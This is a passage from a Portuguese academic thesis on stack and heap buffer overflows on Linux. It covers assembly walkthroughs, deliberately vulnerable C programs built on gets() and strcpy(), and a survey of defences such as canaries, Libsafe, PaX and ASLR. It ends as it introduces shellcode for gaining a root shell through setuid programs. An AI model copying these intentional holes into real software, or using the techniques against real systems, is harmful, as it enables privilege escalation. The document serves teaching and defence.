(INTEL CORPORATION, 2010a).
5 Na

28 dores de propsito geral para agilizar o acesso a tais dados; outras opes de compilao permitem omitir a gravao do ponteiro de frame na pilha quando uma funo no necessita de um, como ocorre no compilador GCC (GNU Compiler Collection) com a opo -fomit-frame-pointer. Em outros casos ainda, isso pode ser feito pela prpria linguagem, como o caso da palavra-chave register da linguagem de programao C (KERNIGHAN; RITCHIE, 1988). Segundo Intel Corporation (2010a), primeiramente os argumentos que esto sendo passados funo chamada so armazenados na pilha, caso sejam mesmo fornecidos pela pilha. Ento, o endereo de retorno (obtido atravs do registrador IP) e o endereo base do frame da funo que faz a chamada (registrador BP) so empilhados, para que a antiga funo seja restabelecida quando a funo chamada nalizar. Depois, com a atribuio do novo ponteiro de frame, as variveis locais funo chamada so armazenadas tomando-se como referncia o novo ponteiro de frame. A ordem de armazenamento desses dados, exceto o ponteiro de base do frame, e os passos efetuados durante uma chamada de funo so mostrados na Figura 6. Como pode ser observado nessa gura, h dois tipos de chamada: near e far. O primeiro diz respeito a saltos curtos, ou seja, saltos de endereos que esto num mesmo segmento de cdigo. O segundo tipo caracteriza saltos longos, nos quais necessrio alterar o segmento de cdigo o registrador CS salvo na pilha antes da alterao. Como foi visto, o Linux utiliza o primeiro tipo de chamada. Um programa escrito em linguagem C, que faz a soma de dois nmeros, pode ser visto na Figura 7. No so exibidos sua execuo e resultado; apenas, para efeitos demonstrativo, o cdigo Assembly associado (Figura 8). O cdigo foi ge-

29

Figura 6: Chamada de funo Fonte: (INTEL CORPORATION, 2010a)

rado pelo compilador GCC, o compilador default de muitas distribuies Linux, se no todas. Na Figura 8, a primeira parte conhecida como prlogo (linhas 2 e 3) e ajusta a pilha para a funo receber suas variveis locais; a segunda parte, chamada eplogo (linhas 8 e 9), desenrola a pilha aps o trmino da funo chamada (LEVY, 1996). Aps empilhar o antigo ponteiro de frame RBP, o ponteiro de pilha RSP copiado para o registrador RBP, para que variveis locais funo e os argumentos na pilha (se houverem) possam ser referenciadas atravs dele. A instruo call empilha o valor do ponteiro RIP na pilha para que o uxo de execuo da funo que faz a chamada possa ser recuperado aps o trmino da nova funo a

30
1 2 3 4 5 6 7 8 9 10 11 12 13 void sum ( int n1 , int n2 ); int main () { sum (2 , 3); return 0; } void sum ( int n1 , int n2 ) { int res = n1 + n2 ; }

Figura 7: Programa que realiza a soma de dois inteiros


1 main : 2 3 4 5 6 7 8 9 10 11 sum : 12 13 14 15 16 17 18 19 20 21

push mov mov mov call mov leave ret

rbp rbp , rsp esi ,0 x3 edi ,0 x2 <sum > eax ,0 x0

push mov mov mov mov mov lea mov leave ret

rbp rbp , rsp DWORD PTR [rbp -0 x14 ], edi DWORD PTR [rbp -0 x18 ], esi eax , DWORD PTR [rbp -0 x18 ] edx , DWORD PTR [rbp -0 x14 ] eax ,[ rdx + rax *1] DWORD PTR [rbp -0 x4 ], eax

; eax = 3 ; edx = 2 ; eax = 2 + 3 * 1 = 5

Figura 8: Cdigo Assembly para o programa que soma dois inteiros

31 ser e-xecutada, e ento transfere o uxo de execuo para o endereo fornecido como operando. Ao ndar a execuo da funo chamada, a instruo leave copia o contedo do registrador RBP para o registrador RSP, para liberar o frame da funo, e desempilha o ponteiro de frame da funo antiga, que fez a chamada, para o registrador RBP. Depois, a instruo ret desempilha o endereo de retorno da funo para o registrador RIP (INTEL CORPORATION, 2010b; INTEL CORPORATION, 2010c). Esse endereo de retorno uma das informaes do processo em que se h o interesse para o entendimento dos riscos de um buffer overow, o qual ser detalhado no Captulo 3.

3
3.1

O PROBLEMA DO BUFFER OVERFLOW


Introduo
No captulo anterior, foi explicado como um processo organizado na mem-

ria e os possveis layouts de memria presentes no sistema operacional Linux e como eles so suportados pelos processadores. Neste captulo, a vulnerabilidade conhecida como buffer overow ser explicada em detalhes, bem como suas formas de ocorrncia: baseado na pilha e baseado no heap. Ser abordado, tambm, o fator do desenvolvimento de software que favorece a ocorrncia desse erro, que o mau uso de buffers. Exemplos sero fornecidos para melhor entendimento do problema.

32

3.2 Buffer overow baseado em pilha e em heap


O programa em linguagem C da Figura 9, chamado read_str.c, faz a leitura de uma string da entrada padro e um bom exemplo de programa vulnervel a buffer overow. A funo gets() faz parte da biblioteca padro da linguagem C e uma funo que representa a maior bizarria da programao de computadores. Kernighan e Ritchie (1988) padronizam-na da seguinte forma: ela l uma string da entrada padro, nalizada ou por um caractere de nova linha, ou at que EOF6 seja alcanado. Ento, o caractere nal substitudo pelo caractere nulo7 , o qual inserido no nal da string lida. Entretanto, a funo gets() no faz checagem de comprimento da string lida. Se o programa da Figura 9 for executado para uma entrada qualquer maior que o tamanho do array, a entrada ser aceita. Porm, dependendo da congurao do sistema operacional e do cdigo gerado pelo compilador, haver um acesso invlido de memria. A Figura 10 mostra a execuo do programa. A opo -fno-stack-protector foi usada para desativar canrios no processo, devido s conguraes da mquina de teste. Para entender melhor o que ocorreu na execuo mostrada na Figura 10, necessrio analisar o cdigo Assembly gerado para ele. O programa foi desmontado utilizando o GDB (GNU Debugger).
6 EOF uma macro (constante simblica) denida pela biblioteca padro da linguagem C, cujo valor utilizado para indicar m de entrada. EOF est denida em stdio.h com o valor -1 (KERNIGHAN; RITCHIE, 1988). 7 O caractere nulo o caractere de valor decimal 0, utilizado em strings C para demarcar seus ns (KERNIGHAN; RITCHIE, 1988).

33
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include < stdio .h > void readline (); int main () { readline (); return 0; } void readline () { char buffer [20]; puts ( "Enter a string:" ); gets ( buffer ); printf ( "Your string:\n%s\n" , buffer ); }

Figura 9: Exemplo de programa vulnervel a buffer overow $ gcc -fno-stack-protector -o read_str read_str.c $ ./read_str Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaa $ ./read_str aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault

Figura 10: Execuo do programa vulnervel

Na Figura 11, algumas partes merecem ateno. Os endereos 0x4006fc (linha 14) e 0x40070c (linha 19) presentes nas instrues se referem, respectivamente, s strings Enter a string: e Your string:\n%s\n. Elas esto em endereos maiores que o segmento de cdigo do processo, o que conrma o esquema proposto na Figura 4. Esses dados so armazenados no segmento data

34 do processo. O endereo [rbp-0x20], presente nas instrues das linhas 16 e 20 (Figura 11), o endereo do array buffer na pilha.
1 main : 2 0 x00000000004005b4 <+0 >: 3 0 x00000000004005b5 <+1 >: 4 0 x00000000004005b8 <+4 >: 5 0 x00000000004005bd <+9 >: 6 0 x00000000004005c2 <+14 >: 7 0 x00000000004005c7 <+19 >: 8 0 x00000000004005c8 <+20 >: 9 10 readline : 11 0 x00000000004005c9 <+0 >: 12 0 x00000000004005ca <+1 >: 13 0 x00000000004005cd <+4 >: 14 0 x00000000004005d1 <+8 >: 15 0 x00000000004005d6 <+13 >: 16 0 x00000000004005db <+18 >: 17 0 x00000000004005df <+22 >: 18 0 x00000000004005e2 <+25 >: 19 0 x00000000004005e7 <+30 >: 20 0 x00000000004005ec <+35 >: 21 0 x00000000004005f0 <+39 >: 22 0 x00000000004005f3 <+42 >: 23 0 x00000000004005f6 <+45 >: 24 0 x00000000004005fb <+50 >: 25 0 x0000000000400600 <+55 >: 26 0 x0000000000400601 <+56 >:

push mov mov call mov leave ret

rbp rbp , rsp eax ,0 x0 0 x4005c9 < readline > eax ,0 x0

push mov sub mov call lea mov call mov lea mov mov mov call leave ret

rbp rbp , rsp rsp ,0 x20 edi ,0 x4006fc 0 x4004a0 < puts@plt > rax ,[ rbp -0 x20 ] rdi , rax 0 x4004c0 < gets@plt > eax ,0 x40070c rdx ,[ rbp -0 x20 ] rsi , rdx rdi , rax eax ,0 x0 0 x400490 < printf@plt >

Figura 11: Programa vulnervel desmontado

Quando a funo main comea sua execuo, o ponteiro do antigo frame, dado por rbp0 no Passo 1 da Figura 12, armazenado na pilha e RBP congurado para apontar para o topo da pilha, atualizado para rbp1. Ento, quando readline chamada (Passo 2, Figura 12), o endereo de retorno empilhado implicitamente pela instruo call. Em seguida, no Passo 3 da Figura 12, o ponteiro do frame da funo main, dado por rbp1, salvo na pilha, o frame da funo readline, rbp2,

35 congurado e o ponteiro de topo de pilha ajustado para o incio do buffer, para que, ao serem feitas chamadas a outras funes atravs de readline() (ex. puts()), o ponteiro do endereo de retorno seja armazenado antes do buffer. Pelo Passo 3 da Figura 12, possvel perceber o que acontece quando se usa gets() sem se preocupar com o limite do array buffer: uma vasta regio da pilha, se no toda, pode ser sobrescrita com a leitura dos dados. Esse o problema de buffer overow. Endereos | Pilha | Registradores Passo 1 (incio da funo main()): 0x7fffffffe2f0 | rbp0 | <= rbp1 = rsp

Passo 2 (chamada funo readline()): 0x7fffffffe2f0 | 0x7fffffffe2e8 | rbp0 rip | <= rbp1 | <= rsp

Passo 3 (incio da funo readline()): 0x7fffffffe2f0 0x7fffffffe2e8 0x7fffffffe2e0 ... 0x7fffffffe2c0 | rbp0 | rip | rbp1 | ... | <buffer> | | | <= rbp2 | | <= rsp

Figura 12: Congurao da pilha durante chamada funo readline()

Atravs de uma string de entrada bem formatada, o endereo de retorno da funo readline() poderia ser sobrescrito com um endereo de retorno de interesses malvolos. Por exemplo, seria possvel preencher o array com um conjunto

36 de instrues que sobrescreva o endereo de retorno para este cdigo; comum que este cdigo execute uma shell, sendo, pois, chamado de shellcode. Outra forma de desvio do uxo de execuo por meio dos ponteiros para funes presentes em algumas linguagens, como a linguagem de programao C. Um ponteiro de funo uma varivel como qualquer outra, e que mantm o endereo de uma funo (KERNIGHAN; RITCHIE, 1988). Ou seja, seria possvel sobrescrever o ponteiro de funo para transferir o uxo de execuo para um outro endereo, desde que houvesse um buffer de tal forma que fosse possvel sobrescrever aquele ponteiro. Isso ilustrado pelo programa da Figura 13, cujo cdigo em Assembly fornecido pela Figura 14.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include < stdio .h > void useless_fct (); int main () { char buffer [20]; void (* f )() = useless_fct ; gets ( buffer ); f (); return 0; } void useless_fct () { return ; }

Figura 13: Exemplo de programa com ponteiro de funo suscetvel a sobrescrita

37 O endereo 0x0000000000400552 o endereo da primeira instruo da funo useless_fct. Esse endereo armazenado na pilha na forma de um ponteiro de funo (linha 5, Figura 14). Dessa forma, se houver um buffer overow atravs da chamada a gets(), possvel sobrescrever o ponteiro de funo para que aponte para outro local, semelhantemente sobrescrita do endereo de retorno RIP.
1 main : 2 0 x0000000000400524 <+0 >: 3 0 x0000000000400525 <+1 >: 4 0 x0000000000400528 <+4 >: 5 0 x000000000040052c <+8 >: 6 0 x0000000000400534 <+16 >: 7 0 x0000000000400538 <+20 >: 8 0 x000000000040053b <+23 >: 9 0 x0000000000400540 <+28 >: 10 0 x0000000000400544 <+32 >: 11 0 x0000000000400549 <+37 >: 12 0 x000000000040054b <+39 >: 13 0 x0000000000400550 <+44 >: 14 0 x0000000000400551 <+45 >: 15 16 useless_fct : 17 0 x0000000000400552 <+0 >: 18 0 x0000000000400553 <+1 >: 19 0 x0000000000400556 <+4 >: 20 0 x0000000000400557 <+5 >: push mov sub mov lea mov call mov mov call mov leave ret rbp rbp , rsp rsp ,0 x20 QWORD PTR [rbp -0 x8 ] ,0 x400552 rax ,[ rbp -0 x20 ] rdi , rax 0 x400428 < gets@plt > rdx , QWORD PTR [rbp -0 x8 ] eax ,0 x0 rdx eax ,0 x0

push mov leave ret

rbp rbp , rsp

Figura 14: Programa vulnervel no ponteiro de funo desmontado

Ainda na Figura 12, observa-se que possvel desviar o uxo de execuo atravs da sobrescrita de parte do antigo ponteiro de frame rbp1, como indicado por klog (1999). Sobrescreve-se um byte de rbp1 de tal forma que, quando main() retornar, o antigo ponteiro de frame seja atribudo ao registrador RSP, atravs da instruo leave. Dessa forma, RSP poderia apontar para um frame falso e en-

38 venenado. Por conseguinte, seria possvel fazer com que RSP apontasse para um local que retornasse para o buffer, atravs da instruo ret tambm em main(). O buffer overow tambm pode ocorrer em outros segmentos. Se um buffer fosse dinamicamente alocado no heap ao invs de s-lo na pilha e, obviamente, dependendo da semntica do programa , outrossim seria possvel explorar a vulnerabilidade. Entretanto, nesse caso, a forma de explorao mais difcil. Segundo Fayolle e Glaume (2002), comum explorar o heap8 atravs de nomes de arquivos, uid (user id), senhas, e outros recursos; isto , ao contrrio da insero de cdigo executvel no buffer, o programa manipulando atravs de suas funcionalidades e da referida regio de memria de uma forma maliciosa. A Figura 15 mostra um exemplo, baseado em Fayolle e Glaume (2002), de um programa vulnervel a buffer overow no heap. De forma semelhante ao stack overow, uma string bem formatada para string permite alterar o endereo apontado por f, uma vez que o contedo de string pode transbordar para o ponteiro de funo f. Com o auxlio de um debugger, possvel observar que a varivel string antecede o ponteiro f na memria. A funo strcpy(d, s) faz parte da biblioteca padro da linguagem C e responsvel por copiar a string s, incluindo o caractere nulo, para o array de destino apontado por d (KERNIGHAN; RITCHIE, 1988). Situaes reais podem ser encontradas na Internet atravs de sites de busca. No endereo http://securityreason.com/securityalert/8115, h um relato de ocorrncia da vulnerabilidade no kernel do Linux at a verso 2.6.21.6.
8 Heap overow refere-se explorao dos segmentos de dados ou do prprio heap do processo (FAYOLLE; GLAUME, 2002).

39
1 2 3 4 5 6 7 8 9 10 11 12 13 #include < stdio .h > #include < string .h > int main ( int argc , char * argv []) { static char string [15]; static int (* f )( const char *) = puts ; if ( argc == 2) strcpy ( string , argv [1]); return 0; }

Figura 15: Exemplo de programa vulnervel a heap overow

Nessa ocorrncia, o problema est no cdigo que avalia alguns tipos de tabelas de parties e explorado localmente apenas.

3.3

Trabalhos relacionados
Fayolle e Glaume (2002) explicam como o problema ocorre e fazem uma

anlise de algumas ferramentas existentes para evit-lo. Dentre os mtodos protetores destacam-se Libsafe e PaX. Todo o trabalho foi feito para a arquitetura 32 bits. Tambm mostrado uma ocorrncia do erro atravs de um programa em linguagem C++ e alguns conceitos sobre organizao de processos na memria no sistema operacional Windows, o que no abordado neste trabalho. Levy (1996) tambm explica a vulnerabilidade baseada em pilha. No entanto, no so citadas ferramentas que o previnem. O artigo escrito por Sobolewski (2004) tambm detalha o erro baseado em pilha. Este trabalho, por outro lado,

40 tenta ser mais completo que aqueles e, ao mesmo tempo, mais genrico, a m de dar uma viso geral sobre o assunto. Wilander e Kamkar (2003) mostram uma comparao de ferramentas que previnem o buffer overow. Nesse trabalho, foi mostrado como o erro ocorre apenas a ideia central do problema e, para seu entendimento, uma explicao sobre a organizao de processos Unix na memria concedida pelos autores. Tambm apresentado um teste comparativo das seguintes ferramentas preventivas: StackGuard, StackShield, ProPolice e Libsafe. No trabalho de Silberman e Johnson (2004), vrias ferramentas so submetidas a testes, algumas delas especcas para o sistema operacional Windows. Essas ferramentas so: PaX, StackGuard, ProPolice, StackShield, Windows 2003 Stack Protection, NGSEC StackDefender verses (1.10 e 2.0) e OverowGuard. Silberman e Johnson (2004) no explicam o conceito de buffer overow, apenas apresentam as ferramentas e seus respectivos resultados de testes. Neste trabalho, porm, so mostrados aspectos mais especcos de sistemas operacionais e arquitetura de computadores relacionados tanto ao problema sendo tratado quanto s suas formas de proteo e no so feitos testes de desempenho das ferramentas preventivas elas so apenas apresentadas e analisadas. Um trabalho mais recente voltado para arquiteturas 64 bits foi feito por Fritsch (2009), no qual so apontadas as principais formas de explorao da vulnerabilidade naquele tipo de arquitetura, mas que no so necessariamente especcas a ela. Os mtodos de explorao sugeridos pelo autor so usados contra pginas no executveis, Address Space Layout Randomization e Stack Smashing Protection.

41

4
4.1

FERRAMENTAS PREVENTIVAS
Introduo
H diversas ferramentas e mtodos de preveno. Eles atuam de maneiras

distintas, tentando anular a ocorrncia do problema em estudo. Este captulo apresenta uma viso geral sobre essas ferramentas e seus respectivos modos de funcionamento, ou seja, qual o princpio por trs delas na preveno do problema. Assim, ser possvel analisar os pontos dessas ferramentas que podem apresentar falhas de segurana. H pesquisas com o objetivo de comparar e analisar tais ferramentas, mas essa abordagem foge ao escopo deste trabalho.

4.2

Libsafe
Libsafe uma biblioteca que consiste numa interface de comunicao entre as

funes suscetveis da biblioteca C de sistemas Unix-like e o programa que utiliza estas funes (BARATLOO; TSAI; SINGH, 1999). Ela verica a computao das funes suscetveis vulnerabilidade daquela biblioteca para prevenir sobrescrita de endereos de retorno ou do endereo base do frame da funo que fez a chamada (TSAI; SINGH, 2001). As funes de interceptao tentam calcular os limites do frame da funo para evitar uma escrita que faa o buffer transbordar. A Figura 16 mostra a regio de monitoramento da Libsafe e a Tabela 3, as funes que so suportadas. H uma funo intermediria da biblioteca padro da linguagem C, da GNU C Library, chamada IO_vfscanf(), que tambm interceptada.

42

Figura 16: Regio da pilha monitorada pela Libsafe Fonte: (BARATLOO; TSAI; SINGH, 1999) adaptado

Tsai e Singh (2001) explicam tambm que a Libsafe capaz de interceptar uma funo da biblioteca C porque ela compilada como uma biblioteca compartilhada e, alm disso, ela carregada antes da biblioteca C, cujo arquivo /lib/libc.so. Em sistemas Linux, isso feito pelo carregador (loader) ld.so. A Libsafe foi originalmente desenvolvida pela Bell Labs, da Lucent Technologies. Atualmente, ela mantida sob licena GNU Lesser General Public License pela Avaya Labs, da Avaya Inc.. Na poca em que este trabalho foi feito, a biblioteca encontrava-se na verso 2.0. Essa nova verso tambm possui suporte s funes que possuem strings de formatao, tal como printf(). O problema com funes desse tipo decorre da especicao, na string de formatao, de parme-

43
Tabela 3: Funes suportadas pela Libsafe.
Prottipo da funo void *memcpy(void *dest, const void *src, size_t n); char *strcpy(char *dest, const char *src); char *strncpy(char *dest, const char *src, size_t n); wchar_t *wcscpy(wchar_t *dest, const wchar_t *src); char *stpcpy(char *dest, const char *src); wchar_t *wcpcpy(wchar_t *dest, const wchar_t *src); char *strcat(char *dest, const char *src); char *strncat(char *dest, const char *src, size_t n); wchar_t *wcscat(wchar_t *dest, const wchar_t *src); int vsprintf(char *str, const char *format, va_list ap); int vsnprintf(char *str, size_t size, const char *format, va_list ap); int vprintf(const char *format, va_list ap); int vfprintf(FILE *stream, const char *format, va_list ap); char *getwd(char *buf); char *gets(char *s); char *realpath(const char *path, char *resolved_path); Suscetibilidade dest dest dest dest dest dest dest dest dest format format format format buf s path

tros na funo printf() que, ou no so fornecidos, ou podem ser manipulados de forma tendenciosa. A Libsafe s pode ser usada se funes da libc so empregadas no programa. Isso um fator muito limitante para sua adoo. Transbordamentos ocorridos em outras partes do programa, como ponteiros de funes ou no heap, podem no ser contidos pela Libsafe. A isso se soma a possibilidade de o desenvolvedor incluir cdigo escrito por ele mesmo contendo um transbordamento.

44

4.3

StackShield, StackGuard e ProPolice (Stack Smashing Protection)


StackGuard uma extenso para o compilador GCC que previne alteraes no

endereo de retorno da funo. Pode atuar de forma dinmica, ou seja, vericando se o endereo de retorno foi sobrescrito antes que a funo retorne, ou pode, at mesmo, prevenir que o endereo seja sobrescrito. A vericao dinmica, realizada antes do retorno da funo, feita pela insero de uma palavra antes do endereo de retorno, comumente conhecida como canrio. A Figura 17 mostra o layout da pilha quando um canrio inserido nela. Se o canrio modicado, ento possvel saber que houve um transbordamento durante a escrita do array. O canrio escolhido aleatoriamente atravs de uma biblioteca chamada crt0 (COWAN et al., 1998). J Fritsch (2009) garante que o canrio aleatrio obtido atravs de /dev/random. O problema desta abordagem que, dependendo da forma como o canrio gerado, ele pode ser parcialmente adivinhado (o espao de busca reduzido e, com algumas tentativas, seria possvel descobri-lo). A outra forma de proteo que previne sobrescrita atravs da ferramenta MemGuard, que parte do compilador StackGuard. De acordo com Cowan et al. (1998), o endereo de retorno protegido pela ferramenta assim que a funo comea a sua execuo e, ao trmino dela, o endereo desprotegido. Em ambos os tipos de proteo, possvel notar que variveis locais funo no so completamente protegidos (ex. ponteiros). Isso tambm poderia ser manipulado sem alterar o canrio.

45

Figura 17: Layout de canrio Fonte: (WAGLE; COWAN, 2003)

Wagle e Cowan (2003) citam trs tipos de canrios utilizados na implementao do GCC que foram adaptados da ideia original do StackGuard, conforme pode ser visto a seguir:

1. Canrios de trmino (terminator canaries): estes canrios so preenchidos com caracteres que nalizam as funes da biblioteca C de manipulao ou cpia de dados, que so o CR (carriage-return), o LF (line-feed, ou caractere de nova linha), o EOF (cujo valor -1) e o caractere nulo marcador de m de string. Com isso, a escrita em buffer forada a ter um trmino.

46 2. Canrios aleatrios (random canaries): canrios so escolhidos aleatoriamente para evitar que escritas sequenciais sejam realizadas. Geralmente gerado na inicializao do programa. 3. Canrios XOR aleatrios (random XOR canaries): utilizam o canrio aleatrio para criptografar uma ou todas as informaes que esto sendo protegidas (ex. endereo de retorno e ponteiro de base) atravs da operao XOR (eXclusive OR).

ProPolice uma reimplementao do StackGuard com algumas modicaes. Enquanto ProPolice usa canrios aleatrios, StackGuard usa canrios de trmino. Alm disso, ProPolice realiza algumas alteraes no layout da pilha que no so realizadas pelo StackGuard, como inserir canrios no frame e mudar a ordem das variveis na pilha apenas quando h arrays nela, para dicultar o ataque em variveis adjacentes (WAGLE; COWAN, 2003). StackShield9 uma ferramenta que tenta gerar um cdigo mais seguro contra stack overow durante a fase de compilao. Ele suporta o GCC para a arquitetura 386 (32 bits). Seu modo de funcionamento consiste em salvar o endereo de retorno da funo assim que o prlogo da funo alcanado. O endereo de retorno salvo em um local que, teoricamente, no suscetvel a transbordamento o comeo do segmento de dados do processo. Quando a funo naliza, ele compara os dois endereos de retorno: o salvo no segmento de dados e o da instruo de retorno.
9 http://www.angelfire.com/sk/stackshield/

47 Atravs da checagem do intervalo de endereos de retorno e de chamada da funo, o StackShield tambm capaz de impedir ataques de sobrescrita de ponteiros de funes e de endereos base de frames.

4.4

grsecurity PaX
O projeto PaX tem o objetivo de pesquisar vrios mecanismos de defesa para

proteger o sistema contra exploraes de erros em software, em especial o buffer overow. Ao contrrio das tcnicas vistas at aqui, as quais so utilizadas durante o estgio de desenvolvimento, os recursos do PaX so usados em tempo de execuo. Basicamente, ele evita a explorao dessa vulnerabilidade de duas formas: protegendo a memria contra execuo de cdigo arbitrrio onde no permitido e/ou inserindo entropia no programa executado (PaX Team, 2003a). Esses mtodos de proteo sero explicados a seguir. Como o PaX modica a semntica de gerenciamento de pginas do sistema operacional, a ferramenta aplicada diretamente no kernel do sistema operacional, sob a forma de patch. Conforme documentado em PaX Team (2003a), a linha principal de desenvolvimento do projeto PaX a arquitetura IA-32, posto que ele tambm suporte outras; tanto que a documentao especca para esta plataforma. H vrios recursos disponibilizados pelo PaX, mas apenas os seguintes sero detalhados a seguir: NOEXEC, PAGEEXEC e ASLR.

48 4.4.1 NOEXEC

O recurso NOEXEC usado para evitar que cdigo arbitrrio seja executado em um processo. PaX Team (2003b) lista duas maneiras de se introduzir cdigo executvel no espao de endereos de um processo: criando um novo mapeamento para um executvel ou modicando um mapeamento de escrita/execuo j existente. Obviamente, NOEXEC atua sobre a segunda forma. Para atingir esse objetivo, NOEXEC utiliza trs mtodos. O primeiro atravs da MMU10 . Em algumas arquiteturas, nas quais ela est presente, possvel gerenciar pginas que so executveis diretamente atravs dela (PaX Team, 2003b). Uma segunda abordagem tornar a pilha e o heap no executveis, uma vez supondo que apenas dados so mantidos nesses segmentos, e no cdigo executvel (PaX Team, 2003b). O terceiro mtodo de NOEXEC usa a segunda abordagem e, ainda, probe que as permisses de mapeamentos executvel ou escrita sejam modicados para tornarem-se meios de ataques (PaX Team, 2003b).

4.4.2

PAGEEXEC

PAGEEXEC um dos pontos abordados pelo recurso NOEXEC do PaX, que permite proibir que algumas pginas sejam executveis, isto , que algumas
10 A MMU (Memory Management Unity) um circuito da CPU que traduz automaticamente pginas virtuais em pginas fsicas (MAUERER, 2008).

49 pginas sejam usadas para armazenar cdigo que ser executado pelo sistema operacional (PaX Team, 2003c). Para implementar PAGEEXEC, o PaX utiliza os TLBs11 em arquiteturas 32 bits, j que no h um bit nas entradas das tabelas de pginas que indique que uma pgina executvel nessas arquiteturas. PaX Team (2003c) informa que este recurso s pde ser utilizado em processadores Intel a partir da srie Pentium e em processadores AMD com ncleos baseados no processador K7. Os TLBs desses processadores so separados: h um TLB para acessos de memria relacionados a busca de instrues (ITLB) e outro para dados (DTLB). Quando uma instruo for buscada, o sistema buscar o endereo na ITLB (ou, se no estiver presente nela, na respectiva tabela de pginas) para validar/traduzir o acesso. Com isso, possvel vericar se houve uma violao quanto ao tipo de pgina ser executvel ou no (PaX Team, 2003c).

4.4.3 Address Space Layout Randomization ASLR (ou Address Space Layout Randomization) um recurso do PaX que fornece endereos de base aleatrios para mapeamentos realizados via chamada de sistema mmap(), brk() (para o heap) e para a pilha do processo (PaX Team, 2003d). Dessa forma, toda vez que um programa executado, haver um layout diferente para os endereos base. Esse layout depender do tipo de chamada de sis11 TLB (Translation Lookaside Buffer) tem a funo de armazenar os ltimos endereos acessados

em cache para aumentar a performance da paginao (SILBERSCHATZ; GALVIN; GAGNE, 2005).

50 tema utilizada na execuo do programa: se fork(), o layout preservado; se execve(), um novo criado.

4.5

PaX como um todo


Como foi mostrado nas sees anteriores, o PaX visa fornecer um mecanismo

de proteo geral para as pginas utilizadas pelo sistema. Assim, quando um processo tenta executar cdigo arbitrrio, o PaX verica se o cdigo foi inserido num local no permitido (por exemplo, na pilha), atravs das permisses de acesso a uma pgina. Isso evitaria potenciais ataques de shellcode baseados, por exemplo, na pilha. Alm do acesso no autorizado s pginas, mesmo que o usurio encontre uma forma alternativa de explorao que no use shellcode, os endereos dos segmentos de dados podem ser criados aleatoriamente, dicultando ainda mais a explorao do programa vulnervel. Este tipo de defesa feita em tempo de execuo. Porm, em sistemas antigos (32 bits), algumas linguagens de programao requeriam que a pilha fosse executvel. Exemplos dessas linguagens so Ada e Java (mquina virtual) (FAYOLLE; GLAUME, 2002). Existem alguns contornos para isso, como chpax e trampolins, mas isso encarado como uma brecha para a explorao (FAYOLLE; GLAUME, 2002).

51

4.6

Mtodos de proteo no kernel 2.6


Verses mais recentes do kernel do Linux adotam alguns dos recursos do PaX.

Conforme descrito anteriormente, processadores 64 bits incluem, no mecanismo de paginao em hardware, um bit de marcao para indicar se determinadas pginas so executveis ou no. Logo, o kernel do Linux j implementa a proteo contra execuo de cdigo em pginas que no possuem aquela ag ativada para as arquiteturas mencionadas. Alm disso, mesmo que fosse possvel executar cdigo em alguma das regies de dados (devido ao bit da marcao especial no-exec), muito difcil descobrir o endereo de um trecho da pilha ou um endereo do heap, uma vez que os endereos base de tais segmentos so disponibilizados aleatoriamente, como o ASLR no PaX. Destarte, a explorao no Linux em um kernel mais recente muito difcil de ser feita usando o processo tradicional de copiar o shellcode para o buffer na pilha.

MTODOS DE EXPLORAO DE BUFFER OVERFLOW

5.1

Introduo
Nos captulos anteriores, foi explicado como o buffer overow ocorre, e como

o sistema operacional e o desenvolvedor podem contribuir para que a vulnerabilidade acontea. O ltimo captulo, em especial, mostrou como possvel prevenir ou dicultar a explorao do erro.

52 Neste captulo, mostrado o problema e como ele pode ser explorado em situaes hipotticas. Cdigos-fonte de programas vulnerveis e cdigos que so utilizados no processo de explorao so fornecidos e detalhados.

5.2

Material e mtodos
Anteriormente foi visto que para se explorar um buffer overow necessrio

criar um cdigo que inicia uma shell de administrador a m de tomar o controle do sistema. Para que esse cdigo, shellcode, seja capaz de criar processos privilegiados, necessrio usar chamadas de sistema no cdigo Assembly a ser injetado na regio de memria vulnervel. Contudo, para que um shellcode seja capaz de criar uma shell de administrador, o processo deve pertencer a este usurio, tambm conhecido como superusurio ou root, e conter o setuid ativado (set UID). Essa ag permite que usurios (reais) sem privilgio executem o processo privilegiado com id (efetivo) de root (MITCHELL; OLDHAM; SAMUEL, 2001). Com o shellcode pronto, o prximo passo criar um programa que faa o uso do programa vulnervel de forma a forar a ocorrncia do problema em questo e inserir o cdigo malicioso no buffer que apresenta a falha. Para a realizao dos testes em 32 bits, foi utilizado o kernel do Linux verso 2.6.20-generic da distribuio Ubuntu 7.04. Essa uma distribuio amplamente utilizada e, na verso de teste, possua uma congurao desprotegida do kernel do Linux, tal como em verses mais antigas. Ele foi executado usando virtualizao sob VirtualBox 3.2.8 e no apresentava quaisquer recursos de ASLR nem canrios,

53 ambos discutidos no Captulo 4. A mquina virtual possua 512 MB de memria principal e 8 GB de memria secundria. No sistema, a verso do compilador GCC era a 3.3.6 e a verso do debugger GDB era a 6.6. O host usado foi um notebook 64 bits Core 2 Duo de 1.83 GHz, 2 GB de memria principal, 160 GB de memria secundria e kernel verso 2.6.35-generic. Ele foi usado para os testes em 64 bits sem desabilitar as opes de segurana padres, exceto canrios, ag padro do compilador nesse sistema. Os recursos de ASLR presentes no kernel do Linux j estavam ativados, bem como a proteo de pginas executveis. A verso do compilador GCC era a 4.4.5 e a verso do debugger GDB era a 7.2.

5.3

Chamadas de sistema em baixo nvel


Quando um processo no espao de usurio quer usar algum recurso do hard-

ware, ele solicita ao kernel o recurso atravs de interfaces fornecidas pelo sistema operacional, conhecidas como chamadas de sistema, ou syscalls, abreviado do ingls system calls (SILBERSCHATZ; GALVIN; GAGNE, 2005). A biblioteca C do Linux encarrega-se de atribuir chamadas de funes a essas interfaces, mas, na verdade, a real implementao dessas interfaces diferente. A comear pelos argumentos, que devem ser fornecidos atravs de registradores especcos. Na arquitetura 32 bits, esses registradores so, em ordem: EBX, ECX, EDX, ESI, EDI e EBP. J em ambientes 64 bits, a sequncia : RDI, RSI, RDX, R10, R8 e R9.

